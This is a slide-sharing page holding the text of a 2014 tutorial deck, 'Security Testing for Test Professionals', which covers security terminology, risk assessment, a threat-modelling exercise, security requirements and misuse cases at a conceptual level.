Security Testing for Testing ProfessionalsSecurity Testing for Testing Professionals
Security Testing for Testing Professionals
TechWell
 
Tips and Tricks for Building Secure Mobile Apps
Tips and Tricks for Building Secure Mobile AppsTips and Tricks for Building Secure Mobile Apps
Tips and Tricks for Building Secure Mobile Apps
TechWell
 
JavaOne2013: Secure Engineering Practices for Java
JavaOne2013: Secure Engineering Practices for JavaJavaOne2013: Secure Engineering Practices for Java
JavaOne2013: Secure Engineering Practices for Java
Chris Bailey
 
Information Technology Security Basics
Information Technology Security BasicsInformation Technology Security Basics
Information Technology Security Basics
Mohan Jadhav
 
Secure Engineering Practices for Java
Secure Engineering Practices for JavaSecure Engineering Practices for Java
Secure Engineering Practices for Java
Tim Ellison
 
Tips and Tricks for Building Secure Mobile Apps
Tips and Tricks for Building Secure Mobile AppsTips and Tricks for Building Secure Mobile Apps
Tips and Tricks for Building Secure Mobile Apps
TechWell
 
Information security software security presentation.pptx
Information security software security presentation.pptxInformation security software security presentation.pptx
Information security software security presentation.pptx
salutiontechnology
 
Information Security Seminar
Information Security SeminarInformation Security Seminar
Information Security Seminar
Acend Corporate Learning
 
Your Skill Boost Masterclass Online Safety and Cybersecurity Tips
Your Skill Boost Masterclass Online Safety and Cybersecurity TipsYour Skill Boost Masterclass Online Safety and Cybersecurity Tips
Your Skill Boost Masterclass Online Safety and Cybersecurity Tips
Excellence Foundation for South Sudan
 
Small Business Administration Recommendations
Small Business Administration RecommendationsSmall Business Administration Recommendations
Small Business Administration Recommendations
Meg Weber
 
A sneak peek into the top 5 network security solutions.docx
A sneak peek into the top 5 network security solutions.docxA sneak peek into the top 5 network security solutions.docx
A sneak peek into the top 5 network security solutions.docx
NeilStark1
 
A sneak peek into the top 5 network security solutions.pdf
A sneak peek into the top 5 network security solutions.pdfA sneak peek into the top 5 network security solutions.pdf
A sneak peek into the top 5 network security solutions.pdf
NeilStark1
 
ISE 510 Final Project Scenario Background Limetree Inc. is a resea.docx
ISE 510 Final Project Scenario Background Limetree Inc. is a resea.docxISE 510 Final Project Scenario Background Limetree Inc. is a resea.docx
ISE 510 Final Project Scenario Background Limetree Inc. is a resea.docx
christiandean12115
 
Mobile Security: 5 Steps to Mobile Risk Management
Mobile Security: 5 Steps to Mobile Risk ManagementMobile Security: 5 Steps to Mobile Risk Management
Mobile Security: 5 Steps to Mobile Risk Management
DMIMarketing
 
Application security
Application securityApplication security
Application security
Hagar Alaa el-din
 
Running head hardware and software security14 hardware an
Running head hardware and software security14 hardware anRunning head hardware and software security14 hardware an
Running head hardware and software security14 hardware an
AKHIL969626
 
Security Testing for Testing Professionals
Security Testing for Testing ProfessionalsSecurity Testing for Testing Professionals
Security Testing for Testing Professionals
TechWell
 
Security Testing for Test Professionals
Security Testing for Test ProfessionalsSecurity Testing for Test Professionals
Security Testing for Test Professionals
TechWell
 
Security Testing for Test Professionals
Security Testing for Test ProfessionalsSecurity Testing for Test Professionals
Security Testing for Test Professionals
TechWell
 
Security Testing for Testing Professionals
Security Testing for Testing ProfessionalsSecurity Testing for Testing Professionals
Security Testing for Testing Professionals
TechWell
 
Security Testing for Testing Professionals
Security Testing for Testing ProfessionalsSecurity Testing for Testing Professionals
Security Testing for Testing Professionals
TechWell
 
Tips and Tricks for Building Secure Mobile Apps
Tips and Tricks for Building Secure Mobile AppsTips and Tricks for Building Secure Mobile Apps
Tips and Tricks for Building Secure Mobile Apps
TechWell
 
JavaOne2013: Secure Engineering Practices for Java
JavaOne2013: Secure Engineering Practices for JavaJavaOne2013: Secure Engineering Practices for Java
JavaOne2013: Secure Engineering Practices for Java
Chris Bailey
 
Information Technology Security Basics
Information Technology Security BasicsInformation Technology Security Basics
Information Technology Security Basics
Mohan Jadhav
 
Secure Engineering Practices for Java
Secure Engineering Practices for JavaSecure Engineering Practices for Java
Secure Engineering Practices for Java
Tim Ellison
 
Tips and Tricks for Building Secure Mobile Apps
Tips and Tricks for Building Secure Mobile AppsTips and Tricks for Building Secure Mobile Apps
Tips and Tricks for Building Secure Mobile Apps
TechWell
 
Information security software security presentation.pptx
Information security software security presentation.pptxInformation security software security presentation.pptx
Information security software security presentation.pptx
salutiontechnology
 
Small Business Administration Recommendations
Small Business Administration RecommendationsSmall Business Administration Recommendations
Small Business Administration Recommendations
Meg Weber
 
A sneak peek into the top 5 network security solutions.docx
A sneak peek into the top 5 network security solutions.docxA sneak peek into the top 5 network security solutions.docx
A sneak peek into the top 5 network security solutions.docx
NeilStark1
 
A sneak peek into the top 5 network security solutions.pdf
A sneak peek into the top 5 network security solutions.pdfA sneak peek into the top 5 network security solutions.pdf
A sneak peek into the top 5 network security solutions.pdf
NeilStark1
 
ISE 510 Final Project Scenario Background Limetree Inc. is a resea.docx
ISE 510 Final Project Scenario Background Limetree Inc. is a resea.docxISE 510 Final Project Scenario Background Limetree Inc. is a resea.docx
ISE 510 Final Project Scenario Background Limetree Inc. is a resea.docx
christiandean12115
 
Mobile Security: 5 Steps to Mobile Risk Management
Mobile Security: 5 Steps to Mobile Risk ManagementMobile Security: 5 Steps to Mobile Risk Management
Mobile Security: 5 Steps to Mobile Risk Management
DMIMarketing
 
Running head hardware and software security14 hardware an
Running head hardware and software security14 hardware anRunning head hardware and software security14 hardware an
Running head hardware and software security14 hardware an
AKHIL969626
 
Ad

More from TechWell (20)

Failing and Recovering
Failing and RecoveringFailing and Recovering
Failing and Recovering
TechWell
 
Instill a DevOps Testing Culture in Your Team and Organization
Instill a DevOps Testing Culture in Your Team and Organization Instill a DevOps Testing Culture in Your Team and Organization
Instill a DevOps Testing Culture in Your Team and Organization
TechWell
 
Test Design for Fully Automated Build Architecture
Test Design for Fully Automated Build ArchitectureTest Design for Fully Automated Build Architecture
Test Design for Fully Automated Build Architecture
TechWell
 
System-Level Test Automation: Ensuring a Good Start
System-Level Test Automation: Ensuring a Good StartSystem-Level Test Automation: Ensuring a Good Start
System-Level Test Automation: Ensuring a Good Start
TechWell
 
Build Your Mobile App Quality and Test Strategy
Build Your Mobile App Quality and Test StrategyBuild Your Mobile App Quality and Test Strategy
Build Your Mobile App Quality and Test Strategy
TechWell
 
Testing Transformation: The Art and Science for Success
Testing Transformation: The Art and Science for SuccessTesting Transformation: The Art and Science for Success
Testing Transformation: The Art and Science for Success
TechWell
 
Implement BDD with Cucumber and SpecFlow
Implement BDD with Cucumber and SpecFlowImplement BDD with Cucumber and SpecFlow
Implement BDD with Cucumber and SpecFlow
TechWell
 
Develop WebDriver Automated Tests—and Keep Your Sanity
Develop WebDriver Automated Tests—and Keep Your SanityDevelop WebDriver Automated Tests—and Keep Your Sanity
Develop WebDriver Automated Tests—and Keep Your Sanity
TechWell
 
Ma 15
Ma 15Ma 15
Ma 15
TechWell
 
Eliminate Cloud Waste with a Holistic DevOps Strategy
Eliminate Cloud Waste with a Holistic DevOps StrategyEliminate Cloud Waste with a Holistic DevOps Strategy
Eliminate Cloud Waste with a Holistic DevOps Strategy
TechWell
 
Transform Test Organizations for the New World of DevOps
Transform Test Organizations for the New World of DevOpsTransform Test Organizations for the New World of DevOps
Transform Test Organizations for the New World of DevOps
TechWell
 
The Fourth Constraint in Project Delivery—Leadership
The Fourth Constraint in Project Delivery—LeadershipThe Fourth Constraint in Project Delivery—Leadership
The Fourth Constraint in Project Delivery—Leadership
TechWell
 
Resolve the Contradiction of Specialists within Agile Teams
Resolve the Contradiction of Specialists within Agile TeamsResolve the Contradiction of Specialists within Agile Teams
Resolve the Contradiction of Specialists within Agile Teams
TechWell
 
Pin the Tail on the Metric: A Field-Tested Agile Game
Pin the Tail on the Metric: A Field-Tested Agile GamePin the Tail on the Metric: A Field-Tested Agile Game
Pin the Tail on the Metric: A Field-Tested Agile Game
TechWell
 
Agile Performance Holarchy (APH)—A Model for Scaling Agile Teams
Agile Performance Holarchy (APH)—A Model for Scaling Agile TeamsAgile Performance Holarchy (APH)—A Model for Scaling Agile Teams
Agile Performance Holarchy (APH)—A Model for Scaling Agile Teams
TechWell
 
A Business-First Approach to DevOps Implementation
A Business-First Approach to DevOps ImplementationA Business-First Approach to DevOps Implementation
A Business-First Approach to DevOps Implementation
TechWell
 
Databases in a Continuous Integration/Delivery Process
Databases in a Continuous Integration/Delivery ProcessDatabases in a Continuous Integration/Delivery Process
Databases in a Continuous Integration/Delivery Process
TechWell
 
Mobile Testing: What—and What Not—to Automate
Mobile Testing: What—and What Not—to AutomateMobile Testing: What—and What Not—to Automate
Mobile Testing: What—and What Not—to Automate
TechWell
 
Cultural Intelligence: A Key Skill for Success
Cultural Intelligence: A Key Skill for SuccessCultural Intelligence: A Key Skill for Success
Cultural Intelligence: A Key Skill for Success
TechWell
 
Turn the Lights On: A Power Utility Company's Agile Transformation
Turn the Lights On: A Power Utility Company's Agile TransformationTurn the Lights On: A Power Utility Company's Agile Transformation
Turn the Lights On: A Power Utility Company's Agile Transformation
TechWell
 
Failing and Recovering
Failing and RecoveringFailing and Recovering
Failing and Recovering
TechWell
 
Instill a DevOps Testing Culture in Your Team and Organization
Instill a DevOps Testing Culture in Your Team and Organization Instill a DevOps Testing Culture in Your Team and Organization
Instill a DevOps Testing Culture in Your Team and Organization
TechWell
 
Test Design for Fully Automated Build Architecture
Test Design for Fully Automated Build ArchitectureTest Design for Fully Automated Build Architecture
Test Design for Fully Automated Build Architecture
TechWell
 
System-Level Test Automation: Ensuring a Good Start
System-Level Test Automation: Ensuring a Good StartSystem-Level Test Automation: Ensuring a Good Start
System-Level Test Automation: Ensuring a Good Start
TechWell
 
Build Your Mobile App Quality and Test Strategy
Build Your Mobile App Quality and Test StrategyBuild Your Mobile App Quality and Test Strategy
Build Your Mobile App Quality and Test Strategy
TechWell
 
Testing Transformation: The Art and Science for Success
Testing Transformation: The Art and Science for SuccessTesting Transformation: The Art and Science for Success
Testing Transformation: The Art and Science for Success
TechWell
 
Implement BDD with Cucumber and SpecFlow
Implement BDD with Cucumber and SpecFlowImplement BDD with Cucumber and SpecFlow
Implement BDD with Cucumber and SpecFlow
TechWell
 
Develop WebDriver Automated Tests—and Keep Your Sanity
Develop WebDriver Automated Tests—and Keep Your SanityDevelop WebDriver Automated Tests—and Keep Your Sanity
Develop WebDriver Automated Tests—and Keep Your Sanity
TechWell
 
Eliminate Cloud Waste with a Holistic DevOps Strategy
Eliminate Cloud Waste with a Holistic DevOps StrategyEliminate Cloud Waste with a Holistic DevOps Strategy
Eliminate Cloud Waste with a Holistic DevOps Strategy
TechWell
 
Transform Test Organizations for the New World of DevOps
Transform Test Organizations for the New World of DevOpsTransform Test Organizations for the New World of DevOps
Transform Test Organizations for the New World of DevOps
TechWell
 
The Fourth Constraint in Project Delivery—Leadership
The Fourth Constraint in Project Delivery—LeadershipThe Fourth Constraint in Project Delivery—Leadership
The Fourth Constraint in Project Delivery—Leadership
TechWell
 
Resolve the Contradiction of Specialists within Agile Teams
Resolve the Contradiction of Specialists within Agile TeamsResolve the Contradiction of Specialists within Agile Teams
Resolve the Contradiction of Specialists within Agile Teams
TechWell
 
Pin the Tail on the Metric: A Field-Tested Agile Game
Pin the Tail on the Metric: A Field-Tested Agile GamePin the Tail on the Metric: A Field-Tested Agile Game
Pin the Tail on the Metric: A Field-Tested Agile Game
TechWell
 
Agile Performance Holarchy (APH)—A Model for Scaling Agile Teams
Agile Performance Holarchy (APH)—A Model for Scaling Agile TeamsAgile Performance Holarchy (APH)—A Model for Scaling Agile Teams
Agile Performance Holarchy (APH)—A Model for Scaling Agile Teams
TechWell
 
A Business-First Approach to DevOps Implementation
A Business-First Approach to DevOps ImplementationA Business-First Approach to DevOps Implementation
A Business-First Approach to DevOps Implementation
TechWell
 
Databases in a Continuous Integration/Delivery Process
Databases in a Continuous Integration/Delivery ProcessDatabases in a Continuous Integration/Delivery Process
Databases in a Continuous Integration/Delivery Process
TechWell
 
Mobile Testing: What—and What Not—to Automate
Mobile Testing: What—and What Not—to AutomateMobile Testing: What—and What Not—to Automate
Mobile Testing: What—and What Not—to Automate
TechWell
 
Cultural Intelligence: A Key Skill for Success
Cultural Intelligence: A Key Skill for SuccessCultural Intelligence: A Key Skill for Success
Cultural Intelligence: A Key Skill for Success
TechWell
 
Turn the Lights On: A Power Utility Company's Agile Transformation
Turn the Lights On: A Power Utility Company's Agile TransformationTurn the Lights On: A Power Utility Company's Agile Transformation
Turn the Lights On: A Power Utility Company's Agile Transformation
TechWell
 

Recently uploaded (20)

AI and Data Privacy in 2025: Global Trends
AI and Data Privacy in 2025: Global TrendsAI and Data Privacy in 2025: Global Trends
AI and Data Privacy in 2025: Global Trends
InData Labs
 
Rock, Paper, Scissors: An Apex Map Learning Journey
Rock, Paper, Scissors: An Apex Map Learning JourneyRock, Paper, Scissors: An Apex Map Learning Journey
Rock, Paper, Scissors: An Apex Map Learning Journey
Lynda Kane
 
Role of Data Annotation Services in AI-Powered Manufacturing
Role of Data Annotation Services in AI-Powered ManufacturingRole of Data Annotation Services in AI-Powered Manufacturing
Role of Data Annotation Services in AI-Powered Manufacturing
Andrew Leo
 
Manifest Pre-Seed Update | A Humanoid OEM Deeptech In France
Manifest Pre-Seed Update | A Humanoid OEM Deeptech In FranceManifest Pre-Seed Update | A Humanoid OEM Deeptech In France
Manifest Pre-Seed Update | A Humanoid OEM Deeptech In France
chb3
 
Technology Trends in 2025: AI and Big Data Analytics
Technology Trends in 2025: AI and Big Data AnalyticsTechnology Trends in 2025: AI and Big Data Analytics
Technology Trends in 2025: AI and Big Data Analytics
InData Labs
 
Salesforce AI Associate 2 of 2 Certification.docx
Salesforce AI Associate 2 of 2 Certification.docxSalesforce AI Associate 2 of 2 Certification.docx
Salesforce AI Associate 2 of 2 Certification.docx
José Enrique López Rivera
 
Network Security. Different aspects of Network Security.
Network Security. Different aspects of Network Security.Network Security. Different aspects of Network Security.
Network Security. Different aspects of Network Security.
gregtap1
 
#AdminHour presents: Hour of Code2018 slide deck from 12/6/2018
#AdminHour presents: Hour of Code2018 slide deck from 12/6/2018#AdminHour presents: Hour of Code2018 slide deck from 12/6/2018
#AdminHour presents: Hour of Code2018 slide deck from 12/6/2018
Lynda Kane
 
Complete Guide to Advanced Logistics Management Software in Riyadh.pdf
Complete Guide to Advanced Logistics Management Software in Riyadh.pdfComplete Guide to Advanced Logistics Management Software in Riyadh.pdf
Complete Guide to Advanced Logistics Management Software in Riyadh.pdf
Software Company
 
Splunk Security Update | Public Sector Summit Germany 2025
Splunk Security Update | Public Sector Summit Germany 2025Splunk Security Update | Public Sector Summit Germany 2025
Splunk Security Update | Public Sector Summit Germany 2025
Splunk
 
Buckeye Dreamin' 2023: De-fogging Debug Logs
Buckeye Dreamin' 2023: De-fogging Debug LogsBuckeye Dreamin' 2023: De-fogging Debug Logs
Buckeye Dreamin' 2023: De-fogging Debug Logs
Lynda Kane
 
AI EngineHost Review: Revolutionary USA Datacenter-Based Hosting with NVIDIA ...
AI EngineHost Review: Revolutionary USA Datacenter-Based Hosting with NVIDIA ...AI EngineHost Review: Revolutionary USA Datacenter-Based Hosting with NVIDIA ...
AI EngineHost Review: Revolutionary USA Datacenter-Based Hosting with NVIDIA ...
SOFTTECHHUB
 
tecnologias de las primeras civilizaciones.pdf
tecnologias de las primeras civilizaciones.pdftecnologias de las primeras civilizaciones.pdf
tecnologias de las primeras civilizaciones.pdf
fjgm517
 
UiPath Community Berlin: Orchestrator API, Swagger, and Test Manager API
UiPath Community Berlin: Orchestrator API, Swagger, and Test Manager APIUiPath Community Berlin: Orchestrator API, Swagger, and Test Manager API
UiPath Community Berlin: Orchestrator API, Swagger, and Test Manager API
UiPathCommunity
 
Cyber Awareness overview for 2025 month of security
Cyber Awareness overview for 2025 month of securityCyber Awareness overview for 2025 month of security
Cyber Awareness overview for 2025 month of security
riccardosl1
 
DevOpsDays Atlanta 2025 - Building 10x Development Organizations.pptx
DevOpsDays Atlanta 2025 - Building 10x Development Organizations.pptxDevOpsDays Atlanta 2025 - Building 10x Development Organizations.pptx
DevOpsDays Atlanta 2025 - Building 10x Development Organizations.pptx
Justin Reock
 
Procurement Insights Cost To Value Guide.pptx
Procurement Insights Cost To Value Guide.pptxProcurement Insights Cost To Value Guide.pptx
Procurement Insights Cost To Value Guide.pptx
Jon Hansen
 
What is Model Context Protocol(MCP) - The new technology for communication bw...
What is Model Context Protocol(MCP) - The new technology for communication bw...What is Model Context Protocol(MCP) - The new technology for communication bw...
What is Model Context Protocol(MCP) - The new technology for communication bw...
Vishnu Singh Chundawat
 
Buckeye Dreamin 2024: Assessing and Resolving Technical Debt
Buckeye Dreamin 2024: Assessing and Resolving Technical DebtBuckeye Dreamin 2024: Assessing and Resolving Technical Debt
Buckeye Dreamin 2024: Assessing and Resolving Technical Debt
Lynda Kane
 
AI Changes Everything – Talk at Cardiff Metropolitan University, 29th April 2...
AI Changes Everything – Talk at Cardiff Metropolitan University, 29th April 2...AI Changes Everything – Talk at Cardiff Metropolitan University, 29th April 2...
AI Changes Everything – Talk at Cardiff Metropolitan University, 29th April 2...
Alan Dix
 
AI and Data Privacy in 2025: Global Trends
AI and Data Privacy in 2025: Global TrendsAI and Data Privacy in 2025: Global Trends
AI and Data Privacy in 2025: Global Trends
InData Labs
 
Rock, Paper, Scissors: An Apex Map Learning Journey
Rock, Paper, Scissors: An Apex Map Learning JourneyRock, Paper, Scissors: An Apex Map Learning Journey
Rock, Paper, Scissors: An Apex Map Learning Journey
Lynda Kane
 
Role of Data Annotation Services in AI-Powered Manufacturing
Role of Data Annotation Services in AI-Powered ManufacturingRole of Data Annotation Services in AI-Powered Manufacturing
Role of Data Annotation Services in AI-Powered Manufacturing
Andrew Leo
 
Manifest Pre-Seed Update | A Humanoid OEM Deeptech In France
Manifest Pre-Seed Update | A Humanoid OEM Deeptech In FranceManifest Pre-Seed Update | A Humanoid OEM Deeptech In France
Manifest Pre-Seed Update | A Humanoid OEM Deeptech In France
chb3
 
Technology Trends in 2025: AI and Big Data Analytics
Technology Trends in 2025: AI and Big Data AnalyticsTechnology Trends in 2025: AI and Big Data Analytics
Technology Trends in 2025: AI and Big Data Analytics
InData Labs
 
Salesforce AI Associate 2 of 2 Certification.docx
Salesforce AI Associate 2 of 2 Certification.docxSalesforce AI Associate 2 of 2 Certification.docx
Salesforce AI Associate 2 of 2 Certification.docx
José Enrique López Rivera
 
Network Security. Different aspects of Network Security.
Network Security. Different aspects of Network Security.Network Security. Different aspects of Network Security.
Network Security. Different aspects of Network Security.
gregtap1
 
#AdminHour presents: Hour of Code2018 slide deck from 12/6/2018
#AdminHour presents: Hour of Code2018 slide deck from 12/6/2018#AdminHour presents: Hour of Code2018 slide deck from 12/6/2018
#AdminHour presents: Hour of Code2018 slide deck from 12/6/2018
Lynda Kane
 
Complete Guide to Advanced Logistics Management Software in Riyadh.pdf
Complete Guide to Advanced Logistics Management Software in Riyadh.pdfComplete Guide to Advanced Logistics Management Software in Riyadh.pdf
Complete Guide to Advanced Logistics Management Software in Riyadh.pdf
Software Company
 
Splunk Security Update | Public Sector Summit Germany 2025
Splunk Security Update | Public Sector Summit Germany 2025Splunk Security Update | Public Sector Summit Germany 2025
Splunk Security Update | Public Sector Summit Germany 2025
Splunk
 
Buckeye Dreamin' 2023: De-fogging Debug Logs
Buckeye Dreamin' 2023: De-fogging Debug LogsBuckeye Dreamin' 2023: De-fogging Debug Logs
Buckeye Dreamin' 2023: De-fogging Debug Logs
Lynda Kane
 
AI EngineHost Review: Revolutionary USA Datacenter-Based Hosting with NVIDIA ...
AI EngineHost Review: Revolutionary USA Datacenter-Based Hosting with NVIDIA ...AI EngineHost Review: Revolutionary USA Datacenter-Based Hosting with NVIDIA ...
AI EngineHost Review: Revolutionary USA Datacenter-Based Hosting with NVIDIA ...
SOFTTECHHUB
 
tecnologias de las primeras civilizaciones.pdf
tecnologias de las primeras civilizaciones.pdftecnologias de las primeras civilizaciones.pdf
tecnologias de las primeras civilizaciones.pdf
fjgm517
 
UiPath Community Berlin: Orchestrator API, Swagger, and Test Manager API
UiPath Community Berlin: Orchestrator API, Swagger, and Test Manager APIUiPath Community Berlin: Orchestrator API, Swagger, and Test Manager API
UiPath Community Berlin: Orchestrator API, Swagger, and Test Manager API
UiPathCommunity
 
Cyber Awareness overview for 2025 month of security
Cyber Awareness overview for 2025 month of securityCyber Awareness overview for 2025 month of security
Cyber Awareness overview for 2025 month of security
riccardosl1
 
DevOpsDays Atlanta 2025 - Building 10x Development Organizations.pptx
DevOpsDays Atlanta 2025 - Building 10x Development Organizations.pptxDevOpsDays Atlanta 2025 - Building 10x Development Organizations.pptx
DevOpsDays Atlanta 2025 - Building 10x Development Organizations.pptx
Justin Reock
 
Procurement Insights Cost To Value Guide.pptx
Procurement Insights Cost To Value Guide.pptxProcurement Insights Cost To Value Guide.pptx
Procurement Insights Cost To Value Guide.pptx
Jon Hansen
 
What is Model Context Protocol(MCP) - The new technology for communication bw...
What is Model Context Protocol(MCP) - The new technology for communication bw...What is Model Context Protocol(MCP) - The new technology for communication bw...
What is Model Context Protocol(MCP) - The new technology for communication bw...
Vishnu Singh Chundawat
 
Buckeye Dreamin 2024: Assessing and Resolving Technical Debt
Buckeye Dreamin 2024: Assessing and Resolving Technical DebtBuckeye Dreamin 2024: Assessing and Resolving Technical Debt
Buckeye Dreamin 2024: Assessing and Resolving Technical Debt
Lynda Kane
 
AI Changes Everything – Talk at Cardiff Metropolitan University, 29th April 2...
AI Changes Everything – Talk at Cardiff Metropolitan University, 29th April 2...AI Changes Everything – Talk at Cardiff Metropolitan University, 29th April 2...
AI Changes Everything – Talk at Cardiff Metropolitan University, 29th April 2...
Alan Dix
 

Security Testing for Test Professionals

  • 1. TL PM Tutorial 10/14/2014 1:00:00 PM "Security Testing for Test Professionals" Presented by: Jeff Payne Coveros, Inc. Brought to you by: 340 Corporate Way, Suite 300, Orange Park, FL 32073 888-268-8770 ∙ 904-278-0524 ∙ [email protected] ∙ www.sqe.com
  • 2. Jeff Payne Coveros, Inc. Jeff Payne is CEO and founder of Coveros, Inc., a software company that builds secure software applications using agile methods. Since its inception in 2008, Coveros has become a market leader in secure agile principles and was recognized by Inc. magazine as one of the fastest growing private US companies. Prior to founding Coveros, Jeff was chairman of the board, CEO, and cofounder of Cigital, Inc., a market leader in software security consulting. Jeff has published more than thirty papers on software development and testing, and testified before Congress on issues of national importance, including intellectual property rights, cyber terrorism, and software quality. Follow Jeff on Twitter @jefferyepayne.
  • 3. 1© Copyright 2013 Coveros Corporation. All rights reserved. Security Testing for Testing Professional
  • 4. 2© Copyright 2013 Coveros, Inc.. All rights reserved. Trainer Jeffery Payne [email protected] Twitter: @jefferyepayne Jeffery Payne is CEO and founder of Coveros, Inc., a software company that helps organizations accelerate the delivery of secure, reliable software. Coveros uses agile development methods and a proven software assurance framework to build security and quality into software from the ground up. Prior to founding Coveros, Jeffery was Chairman of the Board, CEO, and co-founder of Cigital, Inc. Under his direction, Cigital became a leader in software security and software quality solutions, helping clients mitigate the risk of software failure. Jeffery is a recognized software expert and popular speaker at both business and technology conferences on a variety of software quality, security, and agile development topics. He has also testified before Congress on issues of national importance, including intellectual property rights, cyber-terrorism, Software research funding, and software quality.
  • 5. 3© Copyright 2013 Coveros, Inc.. All rights reserved.  Coveros helps organizations accelerate the delivery of secure, reliable software  Our consulting services: – Agile software development – Application security – Software quality assurance – Software process improvement  Our key markets: – Financial services – Healthcare – Defense – Critical Infrastructure Areas of Expertise About Coveros
  • 6. 4© Copyright 2013 Coveros, Inc.. All rights reserved. Agenda  Introduction to Security Testing – Information security – Software security – Risk assessment – Security testing  Security Requirements & Planning – Functional security requirements – Non-functional security requirements – Test planning  Testing for Common Attacks  Integrating Security Testing into the Software Process
  • 7. 5© Copyright 2013 Coveros, Inc.. All rights reserved. Introduction to Security Testing
  • 8. 6© Copyright 2013 Coveros, Inc.. All rights reserved. When you hear the term “Information Security” … What do you think it means? What comes to mind? What is Information Security?
  • 9. 7© Copyright 2013 Coveros, Inc.. All rights reserved. Definition of Information Security  Information Security means protecting information and information systems from unauthorized access, use, disclosure, disruption, modification, perusal, inspection, recording or destruction.  The key concepts of Information Security include: – Confidentiality – Integrity – Availability – Authenticity – Non-Repudiation What is Information Security?
  • 10. 8© Copyright 2013 Coveros, Inc.. All rights reserved. The Software Security Problem Our IT systems are not castles any longer!
  • 11. 9© Copyright 2013 Coveros, Inc.. All rights reserved. Why Software Security is Important RISK IS EVERYWHERE!
  • 12. 10© Copyright 2013 Coveros, Inc.. All rights reserved. Common Security Nomenclature Understanding Risk  Risk: a possible future event which, if it occurs, will lead to an undesirable outcome  Threat: A potential cause of an undesirable outcom  Asset: Data, application, network, physical location, etc. that a threat may wish to access, steal, destroy, or deny others access to  Vulnerability: Any weakness, administrative process, or act of physical exposure that makes an information asset susceptible to exploit by a threat.  An exploit is a piece of software, a chunk of data, or sequence of commands that takes advantage of a vulnerability in order to cause unintended or unanticipated behavior to occur on computer software, hardware, or something electronic.  Attack: the approach taken by a threat to exploit a vulnerability – Denial of service, spoofing, tampering, escalation of privilege
  • 13. 11© Copyright 2013 Coveros, Inc.. All rights reserved. Risk Assessment  A risk assessment is commonly carried out by a team of people who have subject area knowledge of the business / product and information security  Possible connections between identified threats and system assets are examined and the risk of exposure is determined: – Impact: the consequence of an asset being exposed – Likelihood: the likelihood that a threat can compromise an asset  Residual risks are those that have been deemed acceptable and are not mitigated  Risk assessment is a process not a one time activity Understanding Risk
  • 14. 12© Copyright 2013 Coveros, Inc.. All rights reserved.  Business Risk: Loss of Customer Trust – Professional hacker is able to access bank account information for all banking customers due to poor authentication mechanisms in the on- line banking application – Business impacts $: High Impact as an estimated that 20% of reserves will be taken out of bank by customers if hack is revealed – Likelihood: High Likelihood as appropriate authentication mechanisms are not built into the banking application  Technical Risk: Lack of Authentication Mechanisms – Inadequate use of Examples of Risks Understanding Risk
  • 15. 13© Copyright 2013 Coveros, Inc.. All rights reserved. Identifying Threats and Assets  Break into teams of 2-3 people.  Each team will identify potential threats, assets, and risks to a software application described on the next slide.  Exercise Time Limit: 15 Minutes Exercise #1
  • 16. 14© Copyright 2013 Coveros, Inc.. All rights reserved.  Your company, SecureTelco, has developed an instant messaging program to be used by corporations and government agencies to chat securely about sensitive subjects  SecureChat requires users to sign up with an account prior to using the system. After authenticating with a username and password, each user can message other users and expect their conversations to be private.  Users have the ability to add/remove friends from their IM list, search for friends based on their email, block users from IMing them, become “invisible” to all users on demand.  Messages archives and activities logs document user behavior and can be retrieved by the user or a SecreTelco Administrator through the application or by the administrative console, respectively. Software Application Exercise #1 – Identifying Threats, Assets, Risks
  • 17. 15© Copyright 2013 Coveros, Inc.. All rights reserved. Questions to answer  Threats – What threats exist for this application? – I.e. who might want to compromise it? – Which of the threats you’ve identified are the highest priority to protect the system against and why?  Assets – What important information resides within this application that would motivate a threat to try and compromise it? – Which of the assets you’ve identified are the highest priority to protect and why?  Business Risks – If a particular threat is able to access an asset, what is the business consequence in $$$$? Exercise #1 – Identifying Threats, Assets, Risks
  • 18. 16© Copyright 2013 Coveros, Inc.. All rights reserved. Threats to system (H/M/L) Business Risks Assets of interest (H/M/L) Exercise Results
  • 19. 17© Copyright 2013 Coveros, Inc.. All rights reserved.  Security Testing is testing used to determine whether an information system protects its assets from its threats.  Security Testing is not a silver bullet for your enterprise security. Security Testing doesn’t fix your security, it only makes you aware of it. Security must be built into your software  A sound Security Testing process performs testing activities: – Before development begins – During requirements definition and software design – During implementation – During deployment – During maintenance and operations Security Testing
  • 20. 18© Copyright 2013 Coveros, Inc.. All rights reserved.  Provides a level of confidence that your system performs securely within specifications.  Security Testing is a preventative way to find small issues before they become big, expensive ones. – The 2007 CSI Computer Crime and Security Survey performed an analysis of the average cost of a web security breach. The average loss reported in the survey was $350,424.  Security Testing ensures that people in your organization understand and obey security policies.  If involved right from the first phase of system development life cycle, security testing can help eliminate flaws in the design and implementation of the system. Why is it important? Security Testing
  • 21. 19© Copyright 2013 Coveros, Inc.. All rights reserved.  Major goals of security testing – Test the security features of a system – Test the security properties of a system – Test whether the system is implemented in a secure fashion  Security features are controls you’ve implemented to protect your system – Authentication, Authorization, Encryption, etc.  Security properties are closely associated with non- functional security requirements  Secure implementation means the software does not have embedded vulnerabilities due to poor design or coding practices Aspects of Security Testing Security Testing
  • 22. 20© Copyright 2013 Coveros, Inc.. All rights reserved. Security Requirements
  • 23. 21© Copyright 2013 Coveros, Inc.. All rights reserved. Security Requirements Definition of Functional Requirements  Functional Requirements: Statements of services the system should provide, how the system should react to particular inputs and how the system should behave in particular situations. In many cases, functional requirements explicitly state what the system should not do. Where does Security fit in?  Functional Security Requirements  Additions to Functional Requirements to reduce the chance of inserting vulnerabilities into code
  • 24. 22© Copyright 2013 Coveros, Inc.. All rights reserved. Security Requirements Definition of Functional Security Requirements  Functional Security Requirements describe functional requirements that provide security controls to mitigate the risk that threats and improperly access assets Examples  Two factor authentication for logins  Use of encryption to protect data communication  Logging of system usage to detect anomalous behavior  Access control for important files
  • 25. 23© Copyright 2013 Coveros, Inc.. All rights reserved.  Functional requirements that do not fully specify what the system should not do and/or what to do in the face of all error conditions, are not secure.  Additions to these requirements are necessary to assure a secure system is built  Examples: – Error and Exception Handling – Input Validation – Secure Reboot – Secure Application Configurations Security Additions to Functional Requirements Security Requirements
  • 26. 24© Copyright 2013 Coveros, Inc.. All rights reserved.  Use cases describe functionality of how someone might use a system  Misuse cases describe how someone might (perhaps unintentionally) do something in the system with a negative security impact  Abuse cases describe how a malicious attacker might deliberately misuse your system to his advantage We use misuse and abuse cases to understand what our system must protect against and help design more comprehensive security tests Misuse and Abuse Cases Security Requirements across Functionality
